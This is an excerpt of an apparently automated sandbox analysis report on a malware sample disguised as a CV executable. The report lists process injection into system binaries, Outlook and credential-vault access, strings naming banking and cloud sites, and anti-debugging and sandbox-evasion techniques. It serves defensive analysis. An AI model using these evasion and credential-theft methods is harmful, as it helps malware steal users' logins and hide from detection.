                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: ieframe.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: netapi32.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: wkscli.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: mlang.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: winsqlite3.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: vaultcli.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: dpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32Jump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
                Source: CV_ Filipa Barbosa.exeStatic file information: File size 1218048 > 1048576
                Source: CV_ Filipa Barbosa.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
                Source: CV_ Filipa Barbosa.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
                Source: CV_ Filipa Barbosa.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
                Source: CV_ Filipa Barbosa.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: CV_ Filipa Barbosa.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
                Source: CV_ Filipa Barbosa.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
                Source: CV_ Filipa Barbosa.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: HgsHJMSZolWa.exe, 00000004.00000000.1797874335.0000000000CEE000.00000002.00000001.01000000.00000005.sdmp, HgsHJMSZolWa.exe, 00000008.00000000.1943415219.0000000000CEE000.00000002.00000001.01000000.00000005.sdmp
                Source: Binary string: wntdll.pdbUGP source: CV_ Filipa Barbosa.exe, 00000000.00000003.1510600673.0000000003B80000.00000004.00001000.00020000.00000000.sdmp, CV_ Filipa Barbosa.exe, 00000000.00000003.1511686350.0000000003D20000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1781020330.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1876322154.0000000003D00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1779128382.0000000003900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1876322154.0000000003E9E000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, 00000005.00000003.1878320886.0000000003762000.00000004.00000020.00020000.00000000.sdmp, wlanext.exe, 00000005.00000002.3965296731.0000000003AAE000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, 00000005.00000002.3965296731.0000000003910000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, 00000005.00000003.1876330827.00000000035BC000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: CV_ Filipa Barbosa.exe, 00000000.00000003.1510600673.0000000003B80000.00000004.00001000.00020000.00000000.sdmp, CV_ Filipa Barbosa.exe, 00000000.00000003.1511686350.0000000003D20000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.1781020330.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1876322154.0000000003D00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1779128382.0000000003900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1876322154.0000000003E9E000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, wlanext.exe, 00000005.00000003.1878320886.0000000003762000.00000004.00000020.00020000.00000000.sdmp, wlanext.exe, 00000005.00000002.3965296731.0000000003AAE000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, 00000005.00000002.3965296731.0000000003910000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, 00000005.00000003.1876330827.00000000035BC000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wlanext.pdb source: svchost.exe, 00000002.00000003.1845241643.000000000362D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1845157174.000000000361B000.00000004.00000020.00020000.00000000.sdmp, HgsHJMSZolWa.exe, 00000004.00000002.3963640941.0000000001028000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wlanext.pdbGCTL source: svchost.exe, 00000002.00000003.1845241643.000000000362D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1845157174.000000000361B000.00000004.00000020.00020000.00000000.sdmp, HgsHJMSZolWa.exe, 00000004.00000002.3963640941.0000000001028000.00000004.00000020.00020000.00000000.sdmp
                Source: CV_ Filipa Barbosa.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
                Source: CV_ Filipa Barbosa.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
                Source: CV_ Filipa Barbosa.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
                Source: CV_ Filipa Barbosa.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
                Source: CV_ Filipa Barbosa.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005AE01E LoadLibraryA,GetProcAddress,0_2_005AE01E
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005B6B05 push ecx; ret 0_2_005B6B18
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00403250 push eax; ret 2_2_00403252
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00417409 push ebp; retf 2_2_0041740A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00404CD3 push esp; retf 2_2_00404CD8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D0225F pushad ; ret 2_2_03D027F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D027FA pushad ; ret 2_2_03D027F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D309AD push ecx; mov dword ptr [esp], ecx2_2_03D309B6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D0283D push eax; iretd 2_2_03D02858
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D01368 push eax; iretd 2_2_03D01369
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0391225F pushad ; ret 5_2_039127F9
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039127FA pushad ; ret 5_2_039127F9
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039409AD push ecx; mov dword ptr [esp], ecx5_2_039409B6
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0391283D push eax; iretd 5_2_03912858
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03911200 push eax; iretd 5_2_03911369
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03118350 push esi; iretd 5_2_0311835A
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_031141B6 push ebp; retf 5_2_031141B7
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03101A80 push esp; retf 5_2_03101A85
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0311BFE0 push esp; iretd 5_2_0311BFE1
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0311DD80 push edi; ret 5_2_0311DD8C
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_037263F9 push ds; retf 5_2_037263FC
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_037273C7 push ebp; retf 5_2_037273C8
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_037253B5 push edx; iretd 5_2_037253B6
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0372714D push ebx; retf 5_2_0372719D
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0372F66D push esp; ret 5_2_0372F6A9
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0372F5D0 push esp; ret 5_2_0372F6A9
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03726863 push ss; iretd 5_2_0372687E
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0372B802 pushad ; retf 5_2_0372B816
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03723CC8 push edi; ret 5_2_03723D1B
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005F8111 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_005F8111
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005AEB42 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_005AEB42
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005B123A __initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_005B123A
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

                Malware Analysis System Evasion

                barindex
                Switches to a custom stack to bypass stack traces
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeAPI/Special instruction interceptor: Address: 13F5CAC
                Source: C:\Windows\SysWOW64\wlanext.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD324
                Source: C:\Windows\SysWOW64\wlanext.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD7E4
                Source: C:\Windows\SysWOW64\wlanext.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD944
                Source: C:\Windows\SysWOW64\wlanext.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD504
                Source: C:\Windows\SysWOW64\wlanext.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD544
                Source: C:\Windows\SysWOW64\wlanext.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD1E4
                Source: C:\Windows\SysWOW64\wlanext.exeAPI/Special instruction interceptor: Address: 7FFBCB7B0154
                Source: C:\Windows\SysWOW64\wlanext.exeAPI/Special instruction interceptor: Address: 7FFBCB7ADA44
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D7096E rdtsc 2_2_03D7096E
                Source: C:\Windows\SysWOW64\wlanext.exeWindow / User API: threadDelayed 3211Jump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeWindow / User API: threadDelayed 6762Jump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeEvaded block: after key decisiongraph_0-94643
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodesgraph_0-93856
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeAPI coverage: 5.2 %
                Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.6 %
                Source: C:\Windows\SysWOW64\wlanext.exeAPI coverage: 2.6 %
                Source: C:\Windows\SysWOW64\wlanext.exe TID: 4780Thread sleep count: 3211 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exe TID: 4780Thread sleep time: -6422000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exe TID: 4780Thread sleep count: 6762 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exe TID: 4780Thread sleep time: -13524000s >= -30000sJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe TID: 5496Thread sleep time: -60000s >= -30000sJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe TID: 5496Thread sleep time: -45000s >= -30000sJump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe TID: 5496Thread sleep count: 32 > 30Jump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe TID: 5496Thread sleep time: -32000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeLast function: Thread delayed
                Source: C:\Windows\SysWOW64\wlanext.exeLast function: Thread delayed
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005D6CA9 GetFileAttributesW,FindFirstFileW,FindClose,0_2_005D6CA9
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005D60DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,0_2_005D60DD
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005D63F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,0_2_005D63F9
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005DEB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_005DEB60
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005DF56F FindFirstFileW,FindClose,0_2_005DF56F
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005DF5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_005DF5FA
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005E1B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_005E1B2F
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005E1C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_005E1C8A
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005E1F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_005E1F94
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0311C590 FindFirstFileW,FindNextFileW,FindClose,5_2_0311C590
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005ADDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_005ADDC0
                Source: wlanext.exe, 00000005.00000002.3968412840.00000000083D9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware
                Source: 7390-mXL.5.drBinary or memory string: ms.portal.azure.comVMware20,11696494690
                Source: 7390-mXL.5.drBinary or memory string: discord.comVMware20,11696494690f
                Source: 7390-mXL.5.drBinary or memory string: AMC password management pageVMware20,11696494690
                Source: 7390-mXL.5.drBinary or memory string: outlook.office.comVMware20,11696494690s
                Source: wlanext.exe, 00000005.00000002.3968412840.00000000083D9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: block_value_typeINTEGERVMware20,116964;%s)
                Source: 7390-mXL.5.drBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
                Source: 7390-mXL.5.drBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
                Source: 7390-mXL.5.drBinary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
                Source: 7390-mXL.5.drBinary or memory string: interactivebrokers.comVMware20,11696494690
                Source: 7390-mXL.5.drBinary or memory string: netportal.hdfcbank.comVMware20,11696494690
                Source: 7390-mXL.5.drBinary or memory string: interactivebrokers.co.inVMware20,11696494690d
                Source: wlanext.exe, 00000005.00000002.3968412840.00000000083D9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: activebrokers.comVMware20;%s)
                Source: 7390-mXL.5.drBinary or memory string: account.microsoft.com/profileVMware20,11696494690u
                Source: 7390-mXL.5.drBinary or memory string: outlook.office365.comVMware20,11696494690t
                Source: wlanext.exe, 00000005.00000002.3968412840.00000000083D9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: address_3VARCHARVMware
                Source: 7390-mXL.5.drBinary or memory string: www.interactivebrokers.comVMware20,11696494690}
                Source: wlanext.exe, 00000005.00000002.3968412840.00000000083D9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: entralVMware20,1
                Source: 7390-mXL.5.drBinary or memory string: microsoft.visualstudio.comVMware20,11696494690x
                Source: 7390-mXL.5.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
                Source: 7390-mXL.5.drBinary or memory string: Test URL for global passwords blocklistVMware20,11696494690
                Source: wlanext.exe, 00000005.00000002.3958570769.000000000320E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000A.00000002.2168387545.0000013C3C27E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                Source: 7390-mXL.5.drBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
                Source: 7390-mXL.5.drBinary or memory string: trackpan.utiitsl.comVMware20,11696494690h
                Source: 7390-mXL.5.drBinary or memory string: tasks.office.comVMware20,11696494690o
                Source: 7390-mXL.5.drBinary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
                Source: HgsHJMSZolWa.exe, 00000008.00000002.3962438996.0000000000A1F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll<
                Source: 7390-mXL.5.drBinary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
                Source: 7390-mXL.5.drBinary or memory string: dev.azure.comVMware20,11696494690j
                Source: wlanext.exe, 00000005.00000002.3968412840.00000000083D9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: card_issuer_idVARCHARactivebrokers.comVMware20;%s)
                Source: 7390-mXL.5.drBinary or memory string: global block list test formVMware20,11696494690
                Source: 7390-mXL.5.drBinary or memory string: turbotax.intuit.comVMware20,11696494690t
                Source: 7390-mXL.5.drBinary or memory string: bankofamerica.comVMware20,11696494690x
                Source: 7390-mXL.5.drBinary or memory string: Canara Transaction PasswordVMware20,11696494690}
                Source: wlanext.exe, 00000005.00000002.3968412840.00000000083D9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware20,116964;%s)
                Source: 7390-mXL.5.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696494690
                Source: 7390-mXL.5.drBinary or memory string: Interactive Brokers - HKVMware20,11696494690]
                Source: 7390-mXL.5.drBinary or memory string: Canara Transaction PasswordVMware20,11696494690x
                Source: 7390-mXL.5.drBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
                Source: 7390-mXL.5.drBinary or memory string: secure.bankofamerica.comVMware20,11696494690|UE
                Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D7096E rdtsc 2_2_03D7096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00417763 LdrLoadDll,2_2_00417763
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005E6AAF BlockInput,0_2_005E6AAF
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00593D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_00593D19
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005C3920 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,IsDebuggerPresent,OutputDebugStringW,0_2_005C3920
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005AE01E LoadLibraryA,GetProcAddress,0_2_005AE01E
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_013F48D8 mov eax, dword ptr fs:[00000030h]0_2_013F48D8
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_013F5F18 mov eax, dword ptr fs:[00000030h]0_2_013F5F18
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_013F5F78 mov eax, dword ptr fs:[00000030h]0_2_013F5F78
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DDE3DB mov eax, dword ptr fs:[00000030h]2_2_03DDE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DDE3DB mov eax, dword ptr fs:[00000030h]2_2_03DDE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DDE3DB mov ecx, dword ptr fs:[00000030h]2_2_03DDE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DDE3DB mov eax, dword ptr fs:[00000030h]2_2_03DDE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DD43D4 mov eax, dword ptr fs:[00000030h]2_2_03DD43D4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DD43D4 mov eax, dword ptr fs:[00000030h]2_2_03DD43D4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DEC3CD mov eax, dword ptr fs:[00000030h]2_2_03DEC3CD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03D3A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03D3A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03D3A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03D3A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03D3A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03D3A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D383C0 mov eax, dword ptr fs:[00000030h]2_2_03D383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D383C0 mov eax, dword ptr fs:[00000030h]2_2_03D383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D383C0 mov eax, dword ptr fs:[00000030h]2_2_03D383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D383C0 mov eax, dword ptr fs:[00000030h]2_2_03D383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB63C0 mov eax, dword ptr fs:[00000030h]2_2_03DB63C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D4E3F0 mov eax, dword ptr fs:[00000030h]2_2_03D4E3F0
